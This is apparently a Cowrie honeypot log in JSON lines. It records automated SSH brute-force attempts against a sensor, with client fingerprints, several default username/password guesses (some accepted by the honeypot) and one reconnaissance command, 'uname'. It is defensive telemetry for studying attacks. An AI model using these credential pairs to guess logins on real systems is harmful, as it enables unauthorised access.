{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:07.346771Z","src_ip":"192.109.200.78","session":"013144e6b0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:07.433472Z","src_ip":"192.109.200.78","session":"013144e6b0a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:07.738950Z","src_ip":"192.109.200.78","session":"013144e6b0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:09.137614Z","src_ip":"192.109.200.78","session":"013144e6b0a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49284,"dst_ip":"10.17.0.5","dst_port":22,"session":"53b186c3aafe","protocol":"ssh","message":"New connection: 192.109.200.78:49284 (10.17.0.5:22) [session: 53b186c3aafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:10.333754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:10.482610Z","src_ip":"192.109.200.78","session":"53b186c3aafe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:10.788449Z","src_ip":"192.109.200.78","session":"53b186c3aafe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:11.039379Z","src_ip":"192.109.200.78","session":"53b186c3aafe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:11.553980Z","src_ip":"192.109.200.78","session":"53b186c3aafe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:11.557888Z","src_ip":"192.109.200.78","session":"53b186c3aafe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:11.646652Z","src_ip":"192.109.200.78","session":"53b186c3aafe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:11.652625Z","src_ip":"192.109.200.78","session":"53b186c3aafe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.6984167098999,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:13.296480Z","src_ip":"5.42.229.203","session":"3cbe3af45037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49292,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb190030309a","protocol":"ssh","message":"New connection: 192.109.200.78:49292 (10.17.0.5:22) [session: fb190030309a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:14.540489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:14.546912Z","src_ip":"192.109.200.78","session":"fb190030309a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:14.631420Z","src_ip":"192.109.200.78","session":"fb190030309a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:15.179638Z","src_ip":"192.109.200.78","session":"fb190030309a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:16.266860Z","src_ip":"192.109.200.78","session":"fb190030309a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0030632019043,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:16.302667Z","src_ip":"206.189.71.75","session":"38da4e30dd8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39028,"dst_ip":"10.17.0.5","dst_port":22,"session":"54480d037feb","protocol":"ssh","message":"New connection: 192.109.200.78:39028 (10.17.0.5:22) [session: 54480d037feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:18.708639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:18.713635Z","src_ip":"192.109.200.78","session":"54480d037feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:18.798445Z","src_ip":"192.109.200.78","session":"54480d037feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:19.052859Z","src_ip":"192.109.200.78","session":"54480d037feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:20.182477Z","src_ip":"192.109.200.78","session":"54480d037feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39034,"dst_ip":"10.17.0.5","dst_port":22,"session":"b589f305a789","protocol":"ssh","message":"New connection: 192.109.200.78:39034 (10.17.0.5:22) [session: b589f305a789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:22.786939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:22.855875Z","src_ip":"192.109.200.78","session":"b589f305a789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:23.002894Z","src_ip":"192.109.200.78","session":"b589f305a789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:23.382224Z","src_ip":"192.109.200.78","session":"b589f305a789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:24.467804Z","src_ip":"192.109.200.78","session":"b589f305a789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52026,"dst_ip":"159.203.135.109","dst_port":22,"session":"a37e328191f0","protocol":"ssh","message":"New connection: 159.203.92.129:52026 (159.203.135.109:22) [session: a37e328191f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:26.644513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:26.649806Z","src_ip":"159.203.92.129","session":"a37e328191f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:26.659291Z","src_ip":"159.203.92.129","session":"a37e328191f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Oracle@123","message":"login attempt [admin/Oracle@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:26.680851Z","src_ip":"159.203.92.129","session":"a37e328191f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39042,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f0c36fc2e97","protocol":"ssh","message":"New connection: 192.109.200.78:39042 (10.17.0.5:22) [session: 9f0c36fc2e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:27.002728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:27.007818Z","src_ip":"192.109.200.78","session":"9f0c36fc2e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:27.103210Z","src_ip":"192.109.200.78","session":"9f0c36fc2e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:27.364072Z","src_ip":"192.109.200.78","session":"9f0c36fc2e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:27.689852Z","src_ip":"159.203.92.129","session":"a37e328191f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:28.564028Z","src_ip":"192.109.200.78","session":"9f0c36fc2e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33636,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e7846d82da","protocol":"ssh","message":"New connection: 192.109.200.78:33636 (10.17.0.5:22) [session: b1e7846d82da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:31.182142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:31.187603Z","src_ip":"192.109.200.78","session":"b1e7846d82da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:31.271956Z","src_ip":"192.109.200.78","session":"b1e7846d82da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:18:31.829057Z","src_ip":"192.109.200.78","session":"b1e7846d82da","protocol":"ssh"}
